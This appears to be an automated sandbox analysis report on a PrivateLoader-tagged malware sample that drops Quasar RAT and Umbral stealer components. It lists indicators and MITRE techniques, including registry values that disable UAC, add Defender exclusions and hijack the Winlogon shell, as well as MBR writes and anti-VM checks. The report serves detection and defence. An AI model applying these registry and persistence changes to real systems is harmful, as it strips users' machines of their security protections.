privateloader | 10749906bc204c15934fdba1c3c5bb113156aadacd47d8609a3e543620f05c9a

Processes:

Rover.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Program Files (x86)\\rover\\rover.exe"	Rover.exe

Modifies firewall policy service 2 TTPs 1 IoCs

evasion

Modify Registry

Windows Service

T1543.003

Processes:

O7YNvw3NfVMRHPjhGGrNyOgS.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	O7YNvw3NfVMRHPjhGGrNyOgS.exe

PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/5916-5063-0x0000000000C80000-0x0000000000FA4000-memory.dmp	family_quasar

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

Processes:

Rover.exepowershell.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Rover.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	powershell.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Windows security bypass 2 TTPs 3 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

Processes:

O7YNvw3NfVMRHPjhGGrNyOgS.exepowershell.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	O7YNvw3NfVMRHPjhGGrNyOgS.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\the.exe = "0"	powershell.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

O7YNvw3NfVMRHPjhGGrNyOgS.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ O7YNvw3NfVMRHPjhGGrNyOgS.exe
Blocklisted process makes network request 2 IoCs

Processes:

mshta.exe

flow pid process

222 3868 mshta.exe
222 3868 mshta.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

5948 powershell.exe
6392 powershell.exe
6332 powershell.exe
332 powershell.exe
6488 powershell.exe
Downloads MZ/PE file

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	O7YNvw3NfVMRHPjhGGrNyOgS.exe

flow	pid	process
222	3868	mshta.exe
222	3868	mshta.exe

pid	process
5948	powershell.exe
6392	powershell.exe
6332	powershell.exe
332	powershell.exe
6488	powershell.exe

Manipulates Digital Signatures 1 TTPs 2 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

SIP and Trust Provider Hijacking

T1553.003

Processes:

powershell.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates\3DC4606DF7B0D0DA0AD1021127C597B2D517C3E7\Blob = 0f0000000100000014000000b976d021186dec58c8b37bc383897c05ea12dfd90200000001000000cc0000001c0000006c0000000100000000000000000000000000000001000000320036003000630039003800390033002d0031006100330034002d0034006100630036002d0062003600610037002d0033006100640035003100350033006400350034003300340000000000000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e003000000000000300000001000000140000003dc4606df7b0d0da0ad1021127c597b2d517c3e7200000000100000000030000308202fc308201e4a003020102021028222e8bfa33adb64c0bf89ec3c0a233300d06092a864886f70d01010505003010310e300c0603550403130541646d696e3020170d3234303532383231353232335a180f32313234303530343231353232335a3010310e300c0603550403130541646d696e30820122300d06092a864886f70d01010105000382010f003082010a0282010100d45396f5ed0568b4ede8192b52dd05b74949f553efed88acd9ede6dd4c9f5708aa0f04f12cfa601d89b218444e8d3966125651ea1790b2be05c7dcbcf261adfd559b815098e4650c0a1eaf4d35305186cb164111a2e7e0a7839748c7308e7266dde51971f2e5937fc78483b18b5c6ff8e908f208aaf0207a57dac6293532263138cc094b5035609e7ac329da570a31fb86e184fdcce17267968791b221d6c663b4e67614de67fbad053b7304723f4d1acbd45b0f03cda6ed1fca40dcf91a929d6f41cf75e39ccc06dc2073c88f2c7fe92cf0b33f7366cbda3fc63ca8c3d2b233b89e532e5b701f5a1c3d378e977c690270c4b85f277d8ddef0a7be05e85317ed0203010001a350304e30150603551d25040e300c060a2b0601040182370a0304302a0603551d1104233021a01f060a2b060104018237140203a0110c0f41646d696e404f59484b455053500030090603551d1304023000300d06092a864886f70d010105050003820101000734ce46b3e50b11165b60ea2e5699fb5066f036fc3120fb6f9b1afa34997bc0499e2112b96dc64d30f93d38e62c6a80c83d8834faae9fdb5a04d9ecb9593e59880bca21cea19d5a4dd9de15d2871241e2574cdff62439d4189e7363dfa5ac679bac204fb7691f6a14bca0fed114eda025e962cccb69ffa6ee679c36ca800c61d5e5ddff0c5d52354b17e528d9b35583dfc00e711980383e8938812413b3971762f60cd5bdaf7a12df60b96fd46433ed13dfedff58f0fe238473d0685d12d88da6a1aaa4c660ba47e05e90330d0bb03b52b9926e05bee31ca6b7b75cc976747a355ae0a154c10915120de79165f3d58265968498cc2eb7de6749f3652361db0a	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates\3DC4606DF7B0D0DA0AD1021127C597B2D517C3E7\Blob = 0f0000000100000014000000b976d021186dec58c8b37bc383897c05ea12dfd90300000001000000140000003dc4606df7b0d0da0ad1021127c597b2d517c3e7200000000100000000030000308202fc308201e4a003020102021028222e8bfa33adb64c0bf89ec3c0a233300d06092a864886f70d01010505003010310e300c0603550403130541646d696e3020170d3234303532383231353232335a180f32313234303530343231353232335a3010310e300c0603550403130541646d696e30820122300d06092a864886f70d01010105000382010f003082010a0282010100d45396f5ed0568b4ede8192b52dd05b74949f553efed88acd9ede6dd4c9f5708aa0f04f12cfa601d89b218444e8d3966125651ea1790b2be05c7dcbcf261adfd559b815098e4650c0a1eaf4d35305186cb164111a2e7e0a7839748c7308e7266dde51971f2e5937fc78483b18b5c6ff8e908f208aaf0207a57dac6293532263138cc094b5035609e7ac329da570a31fb86e184fdcce17267968791b221d6c663b4e67614de67fbad053b7304723f4d1acbd45b0f03cda6ed1fca40dcf91a929d6f41cf75e39ccc06dc2073c88f2c7fe92cf0b33f7366cbda3fc63ca8c3d2b233b89e532e5b701f5a1c3d378e977c690270c4b85f277d8ddef0a7be05e85317ed0203010001a350304e30150603551d25040e300c060a2b0601040182370a0304302a0603551d1104233021a01f060a2b060104018237140203a0110c0f41646d696e404f59484b455053500030090603551d1304023000300d06092a864886f70d010105050003820101000734ce46b3e50b11165b60ea2e5699fb5066f036fc3120fb6f9b1afa34997bc0499e2112b96dc64d30f93d38e62c6a80c83d8834faae9fdb5a04d9ecb9593e59880bca21cea19d5a4dd9de15d2871241e2574cdff62439d4189e7363dfa5ac679bac204fb7691f6a14bca0fed114eda025e962cccb69ffa6ee679c36ca800c61d5e5ddff0c5d52354b17e528d9b35583dfc00e711980383e8938812413b3971762f60cd5bdaf7a12df60b96fd46433ed13dfedff58f0fe238473d0685d12d88da6a1aaa4c660ba47e05e90330d0bb03b52b9926e05bee31ca6b7b75cc976747a355ae0a154c10915120de79165f3d58265968498cc2eb7de6749f3652361db0a	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

6720 netsh.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

240 takeown.exe
232 icacls.exe
1252 takeown.exe
5924 icacls.exe

pid	process
6720	netsh.exe

pid	process
240	takeown.exe
232	icacls.exe
1252	takeown.exe
5924	icacls.exe

.NET Reactor proctector 35 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

Processes:

resource	yara_rule
behavioral1/memory/1064-1136-0x0000000005FF0000-0x0000000006540000-memory.dmp	net_reactor
behavioral1/memory/1064-1137-0x0000000006AF0000-0x000000000703E000-memory.dmp	net_reactor
behavioral1/memory/1064-1140-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1148-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1139-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1161-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1163-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1180-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1214-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1210-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1208-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1206-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1204-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1202-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1213-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1200-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1198-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1196-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1194-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1192-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1190-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1188-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1186-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1184-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1182-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1176-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1174-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1170-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1168-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1178-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1172-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1159-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1157-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1151-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor
behavioral1/memory/1064-1149-0x0000000006AF0000-0x0000000007039000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

O7YNvw3NfVMRHPjhGGrNyOgS.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	O7YNvw3NfVMRHPjhGGrNyOgS.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	O7YNvw3NfVMRHPjhGGrNyOgS.exe

Drops startup file 3 IoCs

Processes:

regsvcs.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d7l2z9ICZvblp5LdpdHL84ok.bat	regsvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3Dut8v4HSDswcLo94kMtxkx3.bat	regsvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RZZFxQBmwIuiMboxOsPTn2Vz.bat	regsvcs.exe

Executes dropped EXE 16 IoCs

Processes:

ProgressBarSplash.exeRover.exeGoogle.exeregmess.exe1.exe3.exeWinaeroTweaker-1.40.0.0-setup.exeWinaeroTweaker-1.40.0.0-setup.tmpscary.exethe.exewimloader.dllRomilyaa.exeac3.exenztlCaR904IgtCjEbP52qghq.exeO7YNvw3NfVMRHPjhGGrNyOgS.exe360TS_Setup.exe

pid	process
2020	ProgressBarSplash.exe
1064	Rover.exe
1096	Google.exe
4536	regmess.exe
6044	1.exe
5500	3.exe
1616	WinaeroTweaker-1.40.0.0-setup.exe
3024	WinaeroTweaker-1.40.0.0-setup.tmp
5916	scary.exe
5108	the.exe
988	wimloader.dll
5340	Romilyaa.exe
3060	ac3.exe
1568	nztlCaR904IgtCjEbP52qghq.exe
6060	O7YNvw3NfVMRHPjhGGrNyOgS.exe
5520	360TS_Setup.exe

Loads dropped DLL 5 IoCs

Processes:

1.exeWinaeroTweaker-1.40.0.0-setup.tmpnztlCaR904IgtCjEbP52qghq.exe

pid process

6044 1.exe
6044 1.exe
6044 1.exe
3024 WinaeroTweaker-1.40.0.0-setup.tmp
1568 nztlCaR904IgtCjEbP52qghq.exe
Modifies file permissions 1 TTPs 4 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

240 takeown.exe
232 icacls.exe
1252 takeown.exe
5924 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
6044	1.exe
6044	1.exe
6044	1.exe
3024	WinaeroTweaker-1.40.0.0-setup.tmp
1568	nztlCaR904IgtCjEbP52qghq.exe

pid	process
240	takeown.exe
232	icacls.exe
1252	takeown.exe
5924	icacls.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\freebobux.exe	upx
behavioral1/memory/5500-4266-0x0000000000F70000-0x0000000002597000-memory.dmp	upx
behavioral1/memory/5500-4320-0x0000000000F70000-0x0000000002597000-memory.dmp	upx
behavioral1/memory/6304-8847-0x0000000000400000-0x000000000083E000-memory.dmp	upx

Windows security modification 2 TTPs 1 IoCs
evasion trojan

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

O7YNvw3NfVMRHPjhGGrNyOgS.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1" O7YNvw3NfVMRHPjhGGrNyOgS.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

Processes:

Rover.exeO7YNvw3NfVMRHPjhGGrNyOgS.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Rover.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	O7YNvw3NfVMRHPjhGGrNyOgS.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Rover.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs

Web Service

T1102

Processes:

flow	ioc
227	pastebin.com
234	pastebin.com
257	raw.githubusercontent.com
286	raw.githubusercontent.com
290	raw.githubusercontent.com
294	raw.githubusercontent.com
368	raw.githubusercontent.com

Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

269 api.myip.com
272 ipinfo.io
276 ipinfo.io
315 ip-api.com
383 ipinfo.io
257 api.myip.com
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1542.003

Processes:

nztlCaR904IgtCjEbP52qghq.exe

description ioc process

File opened for modification \??\PhysicalDrive0 nztlCaR904IgtCjEbP52qghq.exe

flow	ioc
269	api.myip.com
272	ipinfo.io
276	ipinfo.io
315	ip-api.com
383	ipinfo.io
257	api.myip.com

description	ioc	process
File opened for modification	\??\PhysicalDrive0	nztlCaR904IgtCjEbP52qghq.exe

AutoIT Executable 3 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\f3cb220f1aaa32ca310586e5f62dcab1.pack	autoit_exe
C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\jaffa.exe	autoit_exe
C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\ac3.exe	autoit_exe

Drops file in System32 directory 4 IoCs

Processes:

O7YNvw3NfVMRHPjhGGrNyOgS.exe

description	ioc	process
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	O7YNvw3NfVMRHPjhGGrNyOgS.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	O7YNvw3NfVMRHPjhGGrNyOgS.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	O7YNvw3NfVMRHPjhGGrNyOgS.exe
File opened for modification	C:\Windows\System32\GroupPolicy	O7YNvw3NfVMRHPjhGGrNyOgS.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Control Panel\Desktop\WallPaper = "C:\\Users\\%username%\\Desktop\\t\\a\\bg.png"	reg.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

O7YNvw3NfVMRHPjhGGrNyOgS.exe

pid process

6060 O7YNvw3NfVMRHPjhGGrNyOgS.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 5948 set thread context of 1168 5948 powershell.exe regsvcs.exe

pid	process
6060	O7YNvw3NfVMRHPjhGGrNyOgS.exe

description	pid	process	target process
PID 5948 set thread context of 1168	5948	powershell.exe	regsvcs.exe

Drops file in Program Files directory 64 IoCs

Processes:

Rover.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\rover\Ashamed\Ashamed.012.png	Rover.exe
File created	C:\Program Files (x86)\rover\Eat\Eat.036.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_5Idle\_5Idle.006.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_10Idle\_10Idle.031.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\End_Speak\End_Speak.003.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Come\Come.015.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Exit\Exit.014.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_6Idle\_6Idle.010.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Eat\Eat.051.png	Rover.exe
File created	C:\Program Files (x86)\rover\Exit\Exit.015.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_10Idle\_10Idle.011.png	Rover.exe
File created	C:\Program Files (x86)\rover\_10Idle\_10Idle.026.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Lick\Lick.004.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Come\Come.009.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Eat\Eat.039.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\GetAttention\GetAttention.005.png	Rover.exe
File created	C:\Program Files (x86)\rover\_10Idle\_10Idle.030.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Reading\Reading.005.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Exit\Exit.015.png	Rover.exe
File created	C:\Program Files (x86)\rover\_9Idle\_9Idle.001.png	Rover.exe
File created	C:\Program Files (x86)\rover\_10Idle\_10Idle.021.png	Rover.exe
File created	C:\Program Files (x86)\rover\_10Idle\_10Idle.029.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\EN_gdi.txt	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_5Idle\_5Idle.013.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Slap\Slap.002.png	Rover.exe
File created	C:\Program Files (x86)\rover\Eat\Eat.060.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Eat\Eat.068.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_10Idle\_10Idle.029.png	Rover.exe
File created	C:\Program Files (x86)\rover\dag.ico	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Ashamed\Ashamed.014.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Haf\Haf.005.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_7Idle\_7Idle.005.png	Rover.exe
File created	C:\Program Files (x86)\rover\Reading\Reading.017.png	Rover.exe
File created	C:\Program Files (x86)\rover\EN_kill.txt	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Ashamed\Ashamed.005.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_9Idle\_9Idle.011.png	Rover.exe
File created	C:\Program Files (x86)\rover\Come\Come.010.png	Rover.exe
File created	C:\Program Files (x86)\rover\Eat\Eat.050.png	Rover.exe
File created	C:\Program Files (x86)\rover\Tired\Tired.012.png	Rover.exe
File created	C:\Program Files (x86)\rover\Tired\Tired.013.png	Rover.exe
File created	C:\Program Files (x86)\rover\Whine.wav	Rover.exe
File created	C:\Program Files (x86)\rover\_3Idle\_3Idle.007.png	Rover.exe
File created	C:\Program Files (x86)\rover\_10Idle\_10Idle.020.png	Rover.exe
File created	C:\Program Files (x86)\rover\Reading\Reading.018.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Sleep\Sleep.003.png	Rover.exe
File created	C:\Program Files (x86)\rover\Sleep\Sleep.006.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_3Idle\_3Idle.003.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_9Idle\_9Idle.019.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Lick\Lick.014.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\EN_welcome.txt	Rover.exe
File created	C:\Program Files (x86)\rover\_6Idle\_6Idle.007.png	Rover.exe
File created	C:\Program Files (x86)\rover\Lick\Lick.016.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\End_Speak\End_Speak.006.png	Rover.exe
File created	C:\Program Files (x86)\rover\Eat\Eat.075.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Eat\Eat.026.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_8Idle\_8Idle.008.png	Rover.exe
File created	C:\Program Files (x86)\rover\_9Idle\_9Idle.019.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Tired\Tired.005.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Speak\Speak.004.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Speak\Speak.014.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Come\Come.008.png	Rover.exe
File created	C:\Program Files (x86)\rover\_3Idle\_3Idle.001.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_3Idle\_3Idle.006.png	Rover.exe
File created	C:\Program Files (x86)\rover\_3Idle\_3Idle.008.png	Rover.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4664 5500 WerFault.exe 3.exe

pid	pid_target	process	target process
4664	5500	WerFault.exe	3.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

firefox.exefirefox.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

5708 schtasks.exe
5584 schtasks.exe
6448 schtasks.exe
Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

5704 timeout.exe
5384 timeout.exe
5328 timeout.exe
Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery
T1057

Processes:

tasklist.exe

pid process

1656 tasklist.exe

pid	process
5708	schtasks.exe
5584	schtasks.exe
6448	schtasks.exe

pid	process
5704	timeout.exe
5384	timeout.exe
5328	timeout.exe

pid	process
1656	tasklist.exe

Enumerates system info in registry 2 TTPs 16 IoCs

Query Registry

System Information Discovery

Processes:

xcopy.exexcopy.exemsedge.exexcopy.exexcopy.exexcopy.exexcopy.exexcopy.exexcopy.exemsedge.exexcopy.exexcopy.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.

System Information Discovery
T1082

Command and Scripting Interpreter
T1059

Processes:

ipconfig.exe

pid process

1600 ipconfig.exe
Kills process with taskkill 5 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

2324 taskkill.exe
5588 taskkill.exe
2412 taskkill.exe
6596 taskkill.exe
1020 taskkill.exe

pid	process
1600	ipconfig.exe

pid	process
2324	taskkill.exe
5588	taskkill.exe
2412	taskkill.exe
6596	taskkill.exe
